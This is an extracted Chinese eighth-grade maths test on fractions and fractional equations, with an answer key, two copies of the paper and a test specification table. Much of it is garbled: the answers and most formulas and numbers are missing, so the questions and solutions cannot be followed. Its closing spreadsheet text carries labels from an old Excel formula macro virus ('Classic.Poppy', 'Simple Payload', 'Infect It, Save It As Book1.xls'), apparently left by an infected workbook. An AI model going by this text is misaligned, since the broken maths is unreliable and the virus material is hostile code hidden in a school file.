河南省郑州市西一中学2025-2026学年下学期八年级数学阶段（考试范围:第五章分式与分式方程）

**基本信息** 2025-2026-2八年级数学周测试卷聚焦分式与分式方程，通过选择、填空、计算及综合解答题，分层考查分式概念、性质、方程解法及实际应用，突出运算能力与模型意识培养。 **题型特征** |题型|题量/分值|知识覆盖|命题特色| |----|-----------|----------|----------| |选择题|10/30|分式概念、性质、方程解法|基础辨析，如分式有意义条件判断| |填空题|5/15|分式意义、增根、应用题建模|情境化设计，如“复兴号”速度方程| |计算题|2/20|分式化简、方程求解|规范运算，强化基本技能| |解答题|6/55|化简求值、纠错、经济/物理应用、规律探究|综合应用，如企业生产线更新问题（模型意识）、规律探究题（创新意识）|

参考答案 1.【答案】 2.【答案】 3.【答案】 4.【答案】 5.【答案】  6.【答案】 7.【答案】 8.【答案】 9.【答案】 10.【答案】  11.【答案】答案不唯一 12.【答案】 13.【答案】  14.【答案】 15.【答案】 16.【答案】【小题】 【小题】是增根，原方程无解17.【答案】【小题】【小题】 18.【答案】【解】原式，  当，，，时，原式没有意义，舍去，  当时，原式．  19.【答案】【小题】 前面是“”，化为整式方程时分子没有用括号括起来 【小题】 方程两边同乘最简公分母，去分母，得， 去括号，得，合并同类项，得， 系数化为，得，检验：当时，， 是原方程的根．   20.【答案】【小题】   【小题】   21.【答案】【小题】 解：设该企业有条甲类生产线，条乙类生产线， 根据题意，得解得 答：该企业有条甲类生产线，条乙类生产线． 【小题】 设购买更新条乙类生产线的设备需投入万元，则购买更新条甲类生产线的设备需投入万元，根据题意，得， 解得， 经检验，是所列方程的解，且符合题意， ． 答：还需投入万元资金更新生产线的设备．   22.【答案】【小题】 ，  【小题】 解：方程两边减得：，或，，，经检验，，都是原方程的解，原方程的解是，； 【小题】   解：，，，，或，解得，，经检验，，都是原方程的解，所以关于的方程的解是，．   23.【答案】【小题】 依题意得，，整理得，解得，经检验，是原分式方程的解，所以． 【小题】 设购进甲种运动鞋双，则乙种运动鞋双． 根据题意，得解不等式得，，解不等式得，，所以不等式组的解集是因为是正整数，，所以共有种进货方案． 【小题】 设总利润为，则当时，，随的增大而增大，所以当时，有最大值，即此时应购进甲种运动鞋双，购进乙种运动鞋双；当时，，元，中所有方案获利都一样；当时，，随的增大而减小，所以当时，有最大值，即此时应购进甲种运动鞋双，购进乙种运动鞋双．   第1页，共1页 学科网（北京）股份有限公司 $2025-2026-2八年级数学周测 考试范围：第五章分式与分式方程：考试时间：100分钟：总分：120分 题号 二 三 四 总分 得分 注意事项： 1.答卷前，考生务必将自己的姓名、准考证号填写在答题卡上。 2.回答选择题时，选出每小题答案后，用铅笔把答题卡对应题目的答案标号涂黑；如需改动，用橡皮擦干 净后，再选涂其他答案标号。回答非选择题时，将答案写在答题卡上，写在试卷上无效。 3.考试结束后，本试卷和答题卡一并交回。 第I卷（选择题） 一、选择题：本题共10小题，每小题3分，共30分。在每小题给出的选项中，只有一项是符合题目要求 的。 1.若分式的值为0，则x的值为() A.X=-3 B.x=2 C.X≠-3 D.X≠2 2代数式号x,是品2-子是中，属于分式的有() A.2个 B.3个 C.4个 D.5个 3.下列分式变形从左到右一定成立的是() A名=架 B.2=b-c C.5=c a a-c a ac D能 4已知：台言专则，的值是() A号 B-吉 C.3 D.-3 5.下列说法正确的是() A分式的值为零，则的值为士2 B根据分式的基本性质。等式受一二 nx2 C分式”中的x,y扩大3倍，分式的值不变D.分式站是最简分式 6解分式方程音=是2时，去分母变形正确的是() A.-1+x=-1-2(x-2) B.1-x=1-2(x-2) C.-1+x=1+2(2-x) D.1-x=-1-2(x-2) 第1页，共5页 7已知分式：(a+号)（圆一高）的某一项被污染，但化简的结果等干Q+2,被污染的项应为() A.0 B.1 c D.3 a-2 8若分式方程，+9=1有增根，则a的值为() A.1 B.2 C.3 D.4 9.在物理学中，物质的密度p等于由物质组成的物体的质量m与它的体积V之比，即p=受.已知A,B两个物 体的密度之比为2：1，当物体A的质量是100g,物体B的质量是200g时，物体B的体积比物体A的体积大 27cm3.如果设物体A的体积是xcm3,那么根据题意列方程为() A100=2×200 x+27 B.2×100=200 x+27 c.1°=2×27 200 D2×0=29 =x-27 10若数使关于x的分式方程，名+吕=4的解为正数，且使关于y的不等式组 告-号>1的解集为 2y-a)<0 y<-2,则符合条件的所有整数a的和为() A.10 B.12 C.14 D.16 第IⅡ卷（非选择题） 二、填空题：本题共5小题，每小题3分，共15分。 11.有一个分式：①当x≠0时，分式有意义；②当x=-1时，分式的值为0。请写出同时满足以上两个 条件的一个分式：一。 12当x=时，分式，与分式2的值互为相反数。 13若关于x的分式方程，g+品=马有增根x=3,期m的值是一· 14.“复兴号”是我国具有完全自主知识产权、达到世界先进水平的动车组列车.“复兴号”的速度比原 来列车的速度每小时快50千米，提速后从北京到上海运行时间缩短了30分钟，己知从北京到上海全程约 1320千米，求“复兴号”的速度.设“复兴号”的速度为x千米/时，依题意，可列方程为一 15.有一个计算程序，每次运算都是把一个数先乘以2，再除以它与1的和，多次重复进行这种运算的过 程如图所示.若第8次运算所得的结果是， 17 求输入的x的值为 2x 2y1 2y2 输入x 第2次 yo= 第1次 1+1 第3次 y3+1 第2页，共5页 三、计算题：本大题共2小题，共20分。 16解下列方程：①号=1-名 +9-1 16 17.计算： ①a+1+点)- (2)1-m-3m÷m2-9n2 m+4n÷m2+8n+16mZ 四、解答题：本题共6小题，共55分。解答应写出文字说明，证明过程或演算步骤。 18.(本小题9分)先化简： (-系)÷织再从-3，-2，-1,0,1中选一个合适的数作为的值代 入求值. 19(体小避9分)以下是小张同学解分式方程苹。一。二=1的过程，请认真阅读并完成下列问思。 解：方程两边同乘最简公分母(x+6)(6一x), 去分母，得x(6-x)-x+6=(x+6)(6-x),① 去括号，得6x-x2-x+6=36-x2, ..② 合并同类项，得5x=30,③ 系数化为1，得X=6,④ 检验：当x=6时，(x+6)(6-x)=0, 原分式方程无解. (1)以上步骤，开始出错的是第步（填序号），错误的原因是： (2)请写出正确解分式方程的过程. 20(体小腿9分)小华解分式方程，是2+3=由于印刷问题，有一个数“？”看不清楚。 (1)她把这个数“？”猜成5，请你帮小华解这个分式方程； (②)小华的妈妈说：“我看到标准答案是方程的增根是x=2,原分式方程无解.”请你求出原分式方程中 “?”代表的数是多少 第3页，共5页 21.(本小题9分)为促进新质生产力的发展，某企业决定投入一笔资金对现有甲、乙两类共30条生产线的 设备进行更新换代。 (1)为鼓励企业进行生产线的设备更新，某市出台了相应的补贴政策.根据相关政策，更新1条甲类生产 线的设备可获得3万元的补贴，更新1条乙类生产线的设备可获得2万元的补贴.这样更新完这30条生 产线的设备，该企业可获得70万元的补贴.该企业甲、乙两类生产线各有多少条？ (2)经测算，购买更新1条甲类生产线的设备比购买更新1条乙类生产线的设备需多投入5万元，用200 万元购买更新甲类生产线的设备数量和用180万元购买更新乙类生产线的设备数量相同，那么该企业在获 得70万元的补贴后，还需投入多少资金更新生产线的设备？ 22.(本小题9分)先阅读下面的材料，然后解答问题。 通过计算，发现：方程x+是=2+的解为x1=2,x2=分 方程x+是=3+的解为x1=3,x2=子 方程x+=4+的解为x1=4,2=子 (①观察猜想：关于x的方程x+=n+的解是一： (2)利用你猜想的结论，解关于x的方程x+一3=a+二3 (3)实践运用：关于x的方程x-=m一品的解，小明观察得x1=m是该方程的一个解，则方程的另一个解 X2=」 请利用上面的规律，求关于x的方程，士=m一的解。 x-1 第4页，共5页 23.(本小题10分)为了迎接“十一”小长假的购物高峰.某运动品牌专卖店准备购进甲、乙两种运动 鞋.其中甲、乙两种运动鞋的进价和售价如下表： 运动鞋价格 甲 乙 进价/（元/双） m m-20 售价/（元/双） 240 160 已知：用3000元购进甲种运动鞋的数量与用2400元购进乙种运动鞋的数量相同. (1)求m的值， (2)要使购进的甲、乙两种运动鞋共200双的总利润（利润=售价-进价）不少于21700元，且不超过 22300元，问该专卖店有几种进货方案？ (3)在(2)的条件下，专卖店准备对甲种运动鞋进行优惠促销活动，决定对甲种运动鞋每双优惠a(50<a< 70)元出售，乙种运动鞋价格不变.那么该专卖店要获得最大利润应如何进货？ 第5页，共5页 2025-2026-2八年级数学周测 考试范围：第五章分式与分式方程；考试时间：100分钟；总分：120分 题号 一 二 三 四 总分 得分 注意事项: 1.答卷前，考生务必将自己的姓名、准考证号填写在答题卡上。 2.回答选择题时，选出每小题答案后，用铅笔把答题卡对应题目的答案标号涂黑；如需改动，用橡皮擦干净后，再选涂其他答案标号。回答非选择题时，将答案写在答题卡上，写在试卷上无效。 3.考试结束后，本试卷和答题卡一并交回。 第I卷（选择题） 一、选择题：本题共10小题，每小题3分，共30分。在每小题给出的选项中，只有一项是符合题目要求的。 1.若分式的值为，则的值为(    ) A. B. C. D. 2.代数式，，，，，中，属于分式的有(    ) A. 个 B. 个 C. 个 D. 个 3.下列分式变形从左到右一定成立的是(    ) A. B. C. D. 4.已知：，则的值是(    ) A. B. C. D. 5.下列说法正确的是(    ) A. 分式的值为零，则的值为 B. 根据分式的基本性质，等式 C. 分式中的，都扩大倍，分式的值不变 D. 分式是最简分式 6.解分式方程时，去分母变形正确的是(    ) A. B. C. D. 7.已知分式：的某一项被污染，但化简的结果等于，被污染的项应为(    ) A. B. C. D. 8.若分式方程有增根，则的值为(    ) A. B. C. D. 9.在物理学中，物质的密度等于由物质组成的物体的质量与它的体积之比，即已知，两个物体的密度之比为，当物体的质量是，物体的质量是时，物体的体积比物体的体积大如果设物体的体积是 ，那么根据题意列方程为(    ) A. B. C. D. 10.若数使关于的分式方程的解为正数，且使关于的不等式组的解集为，则符合条件的所有整数的和为(    ) A. B. C. D. 第II卷（非选择题） 二、填空题：本题共5小题，每小题3分，共15分。 11.有一个分式：当时，分式有意义当时，分式的值为。请写出同时满足以上两个条件的一个分式：          。 12.当           时，分式与分式的值互为相反数． 13.若关于的分式方程有增根，则的值是          。 14.“复兴号”是我国具有完全自主知识产权、达到世界先进水平的动车组列车．“复兴号”的速度比原来列车的速度每小时快千米，提速后从北京到上海运行时间缩短了分钟．已知从北京到上海全程约千米，求“复兴号”的速度．设“复兴号”的速度为千米时，依题意，可列方程为          ． 15.有一个计算程序，每次运算都是把一个数先乘以，再除以它与的和，多次重复进行这种运算的过程如图所示．若第次运算所得的结果是，求输入的的值为          ． 三、计算题：本大题共2小题，共20分。 16.解下列方程：． 17.计算： ． 四、解答题：本题共6小题，共55分。解答应写出文字说明，证明过程或演算步骤。 18.本小题分先化简：，再从，，，，中选一个合适的数作为的值代入求值． 19.本小题分以下是小张同学解分式方程的过程，请认真阅读并完成下列问题． 解：方程两边同乘最简公分母， 去分母，得， 去括号，得， 合并同类项，得， 系数化为，得， 检验：当时，， 原分式方程无解． 以上步骤，开始出错的是第          步填序号，错误的原因是          ； 请写出正确解分式方程的过程． 20.本小题分小华解分式方程，由于印刷问题，有一个数“？”看不清楚． 她把这个数“？”猜成，请你帮小华解这个分式方程； 小华的妈妈说：“我看到标准答案是方程的增根是，原分式方程无解．”请你求出原分式方程中“？”代表的数是多少． 21.本小题分为促进新质生产力的发展，某企业决定投入一笔资金对现有甲、乙两类共条生产线的设备进行更新换代． 为鼓励企业进行生产线的设备更新，某市出台了相应的补贴政策．根据相关政策，更新条甲类生产线的设备可获得万元的补贴，更新条乙类生产线的设备可获得万元的补贴．这样更新完这条生产线的设备，该企业可获得万元的补贴．该企业甲、乙两类生产线各有多少条？ 经测算，购买更新条甲类生产线的设备比购买更新条乙类生产线的设备需多投入万元，用万元购买更新甲类生产线的设备数量和用万元购买更新乙类生产线的设备数量相同，那么该企业在获得万元的补贴后，还需投入多少资金更新生产线的设备？ 22.本小题分先阅读下面的材料，然后解答问题． 通过计算，发现：方程的解为，； 方程的解为，； 方程的解为， 观察猜想：关于的方程的解是          ； 利用你猜想的结论，解关于的方程； 实践运用：关于的方程的解，小明观察得是该方程的一个解，则方程的另一个解________，请利用上面的规律，求关于的方程的解． 23.本小题分为了迎接“十一”小长假的购物高峰．某运动品牌专卖店准备购进甲、乙两种运动鞋．其中甲、乙两种运动鞋的进价和售价如下表： 运动鞋价格 甲 乙 进价元双 售价元双 已知：用元购进甲种运动鞋的数量与用元购进乙种运动鞋的数量相同． 求的值． 要使购进的甲、乙两种运动鞋共双的总利润利润售价进价不少于元，且不超过元，问该专卖店有几种进货方案？ 在的条件下，专卖店准备对甲种运动鞋进行优惠促销活动，决定对甲种运动鞋每双优惠元出售，乙种运动鞋价格不变．那么该专卖店要获得最大利润应如何进货？ 第1页，共1页 学科网（北京）股份有限公司 $Sheet1 八 年级 数学 学科 命题双向细目表 题型 题号 分值 考试内容 考点内容细化 预估难度系数 能力要求 易 中 难 选择题 1 3 分式及其基本性质 分式的值 0.9 √ 2 3 分式及其基本性质 分式的定义 0.9 √ 3 3 分式及其基本性质 分式的基本性质 0.8 √ 4 3 分式及其基本性质 分式的基本性质 0.8 √ 5 3 分式及其基本性质 分式及其基本性质 0.8 √ 6 3 分式方程 解分式方程 0.8 √ 7 3 分式的运算 分式的化简 0.7 √ 8 3 分式方程 增根 0.7 √ 9 3 分式方程 分式方程的实际应用 0.7 √ 10 3 分式方程 分式方程与不等式综合 0.6 √ 填空题 11 3 分式及其基本性质 分式的值 0.8 √ 12 3 分式方程 解分式方程 0.7 √ 13 3 分式方程 分式方程增根，求参数的值 0.7 √ 14 3 分式方程 列分式方程 0.6 √ 15 3 分式的运算 找规律与分式运算综合 0.4 √ 解答题 16 8 分式方程 解分式方程 0.6 √ 17 8 分式的运算 分式的运算 0.6 √ 18 8 分式的运算 分式的化简求值，分式有无意义 0.6 √ 19 9 分式方程 分式方程的解法步骤 0.6 √ 20 11 分式方程 分式方程解的情况 0.6 √ 21 9 分式方程 分式方程的实际用用 0.5 √ 22 10 分式方程 分式方程解的情况类比猜想 0.5 √ 23 12 分式方程 分式方程实际应用与函数不等式综合 0.3 √ 共23题，120分，100分钟 4TTS8R4O 高一数学命题双向细目表（空表）.xls Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values and Paths** **Add New Workbook, Infect It, Save It As Book1.xls** **Infect Workbook** $